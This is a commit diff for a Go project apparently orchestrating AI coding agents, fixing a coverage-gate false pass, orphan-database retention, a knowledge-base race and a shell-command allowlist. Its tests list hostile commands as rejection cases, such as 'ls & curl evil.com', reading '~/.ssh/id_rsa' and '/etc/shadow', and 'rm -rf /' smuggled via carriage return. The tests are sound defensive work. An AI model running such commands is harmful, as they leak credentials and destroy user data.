chore(audit): weekly cloud audit — completion-gate false-greens, security-KB race, projection & retention gaps

.github/workflows/ci.yml

@@ -21,7 +21,7 @@ jobs:
       - name: Setup Go
         uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0
         with:
-          go-version: '1.26.4'
+          go-version: '1.26.5'
 
       - name: Install dependencies
         run: go mod download
@@ -122,7 +122,7 @@ jobs:
       - name: Setup Go
         uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0
         with:
-          go-version: '1.26.4'
+          go-version: '1.26.5'
 
       - name: Run golangci-lint
         uses: golangci/golangci-lint-action@4afd733a84b1f43292c63897423277bb7f4313a9 # v8.0.0
@@ -142,7 +142,7 @@ jobs:
       - name: Setup Go
         uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0
         with:
-          go-version: '1.26.4'
+          go-version: '1.26.5'
 
       - name: Build binary
         run: go build -o nxd ./cmd/nxd
@@ -195,7 +195,7 @@ jobs:
       - name: Setup Go
         uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0
         with:
-          go-version: '1.26.4'
+          go-version: '1.26.5'
 
       - name: Install tmux
         run: |
@@ -246,7 +246,7 @@ jobs:
       - name: Setup Go
         uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0
         with:
-          go-version: '1.26.4'
+          go-version: '1.26.5'
 
       - name: Install govulncheck
         run: go install golang.org/x/vuln/cmd/govulncheck@latest
@@ -268,7 +268,7 @@ jobs:
       - name: Setup Go
         uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0
         with:
-          go-version: '1.26.4'
+          go-version: '1.26.5'
 
       - name: Run GoReleaser
         uses: goreleaser/goreleaser-action@e435ccd777264be153ace6237001ef4d979d3a7a # v6.4.0

go.mod

@@ -5,10 +5,12 @@ go 1.26.1
 // toolchain pins the minimum Go toolchain so that builds (local and CI)
 // pull a patch level that clears the 1.26.x stdlib CVEs surfaced by
 // govulncheck (GO-2026-4866, -4870, -4918, -4946, -4947, -4971, -5037,
-// -5039). With GOTOOLCHAIN=auto (default), older local installs will
-// fetch 1.26.4 on first build instead of compiling against a vulnerable
-// stdlib.
-toolchain go1.26.4
+// -5039, and GO-2026-5856 — the Encrypted Client Hello privacy leak in
+// crypto/tls, CALLED via web.Server.Start / docker.Client.Ping /
+// metrics.Recorder.Record / update.Checker, fixed in 1.26.5). With
+// GOTOOLCHAIN=auto (default), older local installs will fetch this patch
+// level on first build instead of compiling against a vulnerable stdlib.
+toolchain go1.26.5
 
 require (
 	github.com/charmbracelet/bubbletea v1.3.10

internal/criteria/evaluator.go

@@ -159,15 +159,35 @@ func evalCoverageAbove(ctx context.Context, workDir string, c Criterion) Result
 		return Result{Criterion: c, Passed: false, Message: fmt.Sprintf("invalid threshold: %s", c.Expected)}
 	}
 
-	cmd := exec.CommandContext(ctx, "go", "test", "-cover", target)
+	// Write a merged coverage profile so we can measure the AGGREGATE coverage
+	// of the whole target. `go test -cover ./...` prints one "coverage: X%"
+	// line PER package; reading just the first (as a bare regex does) lets the
+	// gate pass on the alphabetically-first package while every other package
+	// is far below threshold — a false green on a gating check. `go tool cover
+	// -func` collapses the profile into one statement-weighted "total:" line.
+	profile, err := os.CreateTemp("", "nxd-cover-*.out")
+	if err != nil {
+		return Result{Criterion: c, Passed: false, Message: fmt.Sprintf("create coverage profile: %v", err)}
+	}
+	profilePath := profile.Name()
+	_ = profile.Close()
+	defer func() { _ = os.Remove(profilePath) }()
+
+	cmd := exec.CommandContext(ctx, "go", "test", "-coverprofile", profilePath, target)
 	cmd.Dir = workDir
 	out, err := cmd.CombinedOutput()
 	output := string(out)
 	if err != nil {
 		return Result{Criterion: c, Passed: false, Actual: output, Message: fmt.Sprintf("test+cover failed: %v", err)}
 	}
 
-	coverage := parseCoverage(output)
+	// Prefer the statement-weighted aggregate from the profile; fall back to the
+	// per-run summary line only if the profile can't be reduced (e.g. a target
+	// with no statements at all).
+	coverage := coverageTotal(ctx, workDir, profilePath)
+	if coverage < 0 {
+		coverage = parseCoverage(output)
+	}
 	if coverage < 0 {
 		return Result{Criterion: c, Passed: false, Actual: output, Message: "could not parse coverage from output"}
 	}
@@ -316,7 +336,9 @@ func untrackedFiles(workDir string) map[string]struct{} {
 }
 
 // parseCoverage extracts the coverage percentage from go test -cover output.
-// Returns -1 if not found.
+// Returns -1 if not found. NOTE: this reads only the FIRST "coverage:" line;
+// for a multi-package target use coverageTotal, which is statement-weighted
+// across the whole profile. parseCoverage remains as a single-package fallback.
 func parseCoverage(output string) float64 {
 	re := regexp.MustCompile(`coverage:\s+([\d.]+)%`)
 	match := re.FindStringSubmatch(output)
@@ -329,3 +351,31 @@ func parseCoverage(output string) float64 {
 	}
 	return v
 }
+
+// coverageTotal reduces a coverage profile to a single statement-weighted total
+// percentage via `go tool cover -func`. Returns -1 if it cannot be determined.
+func coverageTotal(ctx context.Context, workDir, profilePath string) float64 {
+	cmd := exec.CommandContext(ctx, "go", "tool", "cover", "-func", profilePath)
+	cmd.Dir = workDir
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return -1
+	}
+	return parseFuncTotal(string(out))
+}
+
+// parseFuncTotal extracts the percentage from the "total:" line of
+// `go tool cover -func` output (e.g. "total:\t(statements)\t81.6%"). Returns -1
+// if not found.
+func parseFuncTotal(output string) float64 {
+	re := regexp.MustCompile(`total:\s+\(statements\)\s+([\d.]+)%`)
+	match := re.FindStringSubmatch(output)
+	if len(match) < 2 {
+		return -1
+	}
+	v, err := strconv.ParseFloat(match[1], 64)
+	if err != nil {
+		return -1
+	}
+	return v
+}

internal/criteria/evaluator_test.go

@@ -2,11 +2,24 @@ package criteria
 
 import (
 	"context"
+	"fmt"
 	"os"
 	"path/filepath"
+	"strings"
 	"testing"
 )
 
+// mustWriteFile writes body to path, creating parent directories.
+func mustWriteFile(t *testing.T, path, body string) {
+	t.Helper()
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		t.Fatalf("mkdir %s: %v", filepath.Dir(path), err)
+	}
+	if err := os.WriteFile(path, []byte(body), 0o644); err != nil {
+		t.Fatalf("write %s: %v", path, err)
+	}
+}
+
 func TestFileExists_Pass(t *testing.T) {
 	dir := t.TempDir()
 	_ = os.WriteFile(filepath.Join(dir, "main.go"), []byte("package main"), 0644)
@@ -290,6 +303,43 @@ func TestCoverageAbove_Fail(t *testing.T) {
 	}
 }
 
+// TestCoverageAbove_MultiPackage_AggregatesNotFirstPackage locks in the fix for
+// the false-green: against the default "./..." target, `go test -cover` prints
+// one coverage line per package. Package "aaa" is fully covered (100%); package
+// "zzz" is almost entirely uncovered. Reading only the first (alphabetical)
+// coverage line — as the old bare regex did — would report ~100% and PASS a
+// threshold the repo as a whole does not meet. The statement-weighted total
+// must reflect zzz's uncovered mass and FAIL.
+func TestCoverageAbove_MultiPackage_AggregatesNotFirstPackage(t *testing.T) {
+	if testing.Short() {
+		t.Skip("skipping real go toolchain coverage test in -short mode")
+	}
+	dir := t.TempDir()
+	mustWriteFile(t, filepath.Join(dir, "go.mod"), "module multicov\n\ngo 1.21\n")
+
+	// Package aaa: one tiny fully-covered function → sorts first.
+	mustWriteFile(t, filepath.Join(dir, "aaa", "a.go"), "package aaa\n\nfunc A() int { return 1 }\n")
+	mustWriteFile(t, filepath.Join(dir, "aaa", "a_test.go"),
+		"package aaa\n\nimport \"testing\"\n\nfunc TestA(t *testing.T) {\n\tif A() != 1 {\n\t\tt.Fatal(\"x\")\n\t}\n}\n")
+
+	// Package zzz: many statements, essentially none covered → sorts last and
+	// dominates the statement-weighted total.
+	var big strings.Builder
+	big.WriteString("package zzz\n\n")
+	for i := 0; i < 40; i++ {
+		fmt.Fprintf(&big, "func F%d(n int) int {\n\tx := n + %d\n\tx = x * 2\n\tx = x - 1\n\treturn x\n}\n\n", i, i)
+	}
+	mustWriteFile(t, filepath.Join(dir, "zzz", "z.go"), big.String())
+	// A test file that runs NO functions, so zzz coverage ≈ 0%.
+	mustWriteFile(t, filepath.Join(dir, "zzz", "z_test.go"),
+		"package zzz\n\nimport \"testing\"\n\nfunc TestNothing(t *testing.T) {}\n")
+
+	r := Evaluate(context.Background(), dir, Criterion{Type: TypeCoverageAbove, Expected: "80.0"})
+	if r.Passed {
+		t.Errorf("BUG: coverage gate passed on the first package's number; aggregate is far below 80%% (actual=%s)", r.Actual)
+	}
+}
+
 func TestCoverageAbove_InvalidThreshold(t *testing.T) {
 	r := Evaluate(context.Background(), t.TempDir(), Criterion{Type: TypeCoverageAbove, Expected: "not-a-number"})
 	if r.Passed {

internal/devdb/recovery.go

@@ -43,7 +43,14 @@ func ReleaseOrphans(ctx context.Context, p Provider, orphans []DB, minAge time.D
 	cutoff := time.Now().Add(-minAge)
 	var firstErr error
 	for _, db := range orphans {
-		if db.CreatedAt.After(cutoff) {
+		// Fail safe on unknown age. The docker provider (the production path)
+		// cannot recover a per-database creation time from Postgres, so its
+		// orphans carry a zero CreatedAt. A zero time is always Before(cutoff),
+		// which would silently defeat the entire retention window — every
+		// orphan deleted regardless of minAge/RetainHours, including another
+		// concurrent requirement's still-in-use databases. Treat unknown age
+		// as "too young to reap; keep for human review" instead.
+		if db.CreatedAt.IsZero() || db.CreatedAt.After(cutoff) {
 			kept = append(kept, db)
 			continue
 		}

internal/devdb/recovery_test.go

@@ -65,3 +65,32 @@ func TestReleaseOrphans_HonorsMinAge(t *testing.T) {
 		t.Errorf("provider delete calls = %v", p.deleted)
 	}
 }
+
+// TestReleaseOrphans_ZeroCreatedAtKeptNotDeleted locks in the fail-safe for
+// orphans whose age is unknown. The docker provider never populates CreatedAt
+// (Postgres exposes no reliable per-database creation time), so its orphans
+// carry a zero timestamp. A zero time is always Before(cutoff); without the
+// guard the retention window (minAge/RetainHours) is silently defeated and
+// every docker orphan — including another concurrent requirement's in-use
+// databases — is deleted regardless of the configured retention.
+func TestReleaseOrphans_ZeroCreatedAtKeptNotDeleted(t *testing.T) {
+	p := &listProvider{
+		Provider: null.New(),
+		dbs: []devdb.DB{
+			{ID: "unknown-age", Name: "nxd-x-story-1"}, // zero CreatedAt (docker path)
+		},
+	}
+	deleted, kept, err := devdb.ReleaseOrphans(context.Background(), p, p.dbs, 24*time.Hour)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(deleted) != 0 {
+		t.Errorf("an orphan with unknown (zero) CreatedAt must NOT be deleted; deleted = %+v", deleted)
+	}
+	if len(kept) != 1 || kept[0].ID != "unknown-age" {
+		t.Errorf("kept = %+v, want [unknown-age]", kept)
+	}
+	if len(p.deleted) != 0 {
+		t.Errorf("provider Delete must not be called for unknown-age orphans; got %v", p.deleted)
+	}
+}

internal/engine/investigator.go

@@ -105,13 +105,18 @@ func (inv *Investigator) isCommandAllowed(command string) bool {
 		return false
 	}
 
-	// Reject shell chaining operators FIRST, before the empty-allowlist
+	// Reject shell metacharacters FIRST, before the empty-allowlist
 	// short-circuit. Otherwise a config with an explicitly empty
 	// command_allowlist would allow injection like "ls; curl evil | sh".
-	for _, ch := range []string{";", "&&", "||", "|", "$(", "`", "\n"} {
-		if strings.Contains(trimmed, ch) {
-			return false
-		}
+	//
+	// Use the SAME canonical set as the native runtime's run_command guard
+	// (runtime/gemma.go isCommandAllowed) so the two enforcement points can't
+	// drift. The old set only blocked chaining (; && || | $( ` \n) and left
+	// redirection (> <), background (&), bare variable expansion ($HOME), and
+	// \r \t \x00 \ open — so an allowlisted prefix like "cat" or "grep" could
+	// still clobber files outside the repo, e.g. `cat x > ~/.bashrc`.
+	if strings.ContainsAny(trimmed, ";&|$`<>\n\r\t\x00\\") {
+		return false
 	}
 
 	if len(inv.commandAllowlist) == 0 {

internal/engine/investigator_allowlist_test.go

@@ -57,6 +57,38 @@ func TestInvestigator_CommandAllowlist_EmptyStillRejectsChaining(t *testing.T) {
 	}
 }
 
+// The investigator's filter must match the native runtime's canonical
+// metacharacter set. These were open before the fix: an allowlisted prefix
+// combined with redirection / background / bare variable expansion could write
+// or exfiltrate outside the repo without any chaining operator.
+func TestInvestigator_CommandAllowlist_RejectsRedirectionAndExpansion(t *testing.T) {
+	inv := NewInvestigator(nil, "", 0)
+	inv.SetCommandAllowlist([]string{"cat", "grep", "ls"})
+
+	cases := map[string]string{
+		"output redirection clobbering a file outside the repo": "cat internal/secret > /home/user/.bashrc",
+		"append redirection":                                    "grep -r . >> /home/user/.profile",
+		"input redirection":                                     "cat < /etc/shadow",
+		"background execution":                                  "ls & curl evil.com",
+		"bare variable expansion":                               "cat $HOME/.ssh/id_rsa",
+		"brace variable expansion":                              "ls ${IFS}",
+		"backslash escape":                                      "ls \\;",
+		"carriage-return smuggling":                             "ls\rrm -rf /",
+	}
+	for name, cmd := range cases {
+		if inv.isCommandAllowed(cmd) {
+			t.Errorf("%s must be rejected: %q", name, cmd)
+		}
+	}
+
+	// The tightening must not break legitimate allowlisted commands.
+	for _, ok := range []string{"cat lib.go", "grep -rn foo .", "ls -la"} {
+		if !inv.isCommandAllowed(ok) {
+			t.Errorf("legitimate command wrongly rejected: %q", ok)
+		}
+	}
+}
+
 func TestInvestigator_CommandAllowlist_RejectsPipe(t *testing.T) {
 	inv := NewInvestigator(nil, "", 0)
 	inv.SetCommandAllowlist([]string{"grep"})

internal/engine/security_gate.go

@@ -6,6 +6,7 @@ import (
 	"fmt"
 	"log"
 	"strings"
+	"sync"
 	"time"
 
 	"github.com/tzone85/nexus-dispatch/internal/llm"
@@ -37,6 +38,13 @@ type SecurityGate struct {
 	eventStore   state.EventStore
 	projStore    state.ProjectionStore
 
+	// upskillMu serializes the load→merge→save of the knowledge base. The
+	// pipeline runs one postExecutionPipeline goroutine per completed story
+	// (monitor.go), all sharing this one SecurityGate; without this lock two
+	// stories in the same wave race their KB writes and lose each other's
+	// learned rules.
+	upskillMu sync.Mutex
+
 	// seams
 	scan scanFunc
 	now  func() time.Time
@@ -178,7 +186,31 @@ func (g *SecurityGate) blockSummary(report security.Report) string {
 // class (CWE if present, else tool rule id) is not already in the knowledge
 // base, persists the grown KB, and emits SECURITY_RULE_LEARNED per new class.
 func (g *SecurityGate) upskill(kb *security.KnowledgeBase, findings []security.Finding) {
+	// Fast pre-check: if nothing here is a learnable class, skip the lock and
+	// the disk reload entirely (the common case).
+	hasCandidate := false
+	for _, f := range findings {
+		if f.Severity.AtLeast(security.SeverityHigh) && vulnClassID(f) != "" {
+			hasCandidate = true
+			break
+		}
+	}
+	if !hasCandidate {
+		return
+	}
+
+	// Serialize the load→merge→save so concurrent story pipelines don't clobber
+	// each other's learned rules.
+	g.upskillMu.Lock()
+	defer g.upskillMu.Unlock()
+
+	// Re-load the persisted KB under the lock so we merge onto the freshest
+	// saved state (another story in this wave may have just learned a rule).
+	// Fall back to the caller's snapshot if the reload fails.
 	grown := kb
+	if reloaded, err := security.LoadKnowledgeBase(g.kbPath); err == nil {
+		grown = reloaded
+	}
 	learned := 0
 	for _, f := range findings {
 		if !f.Severity.AtLeast(security.SeverityHigh) {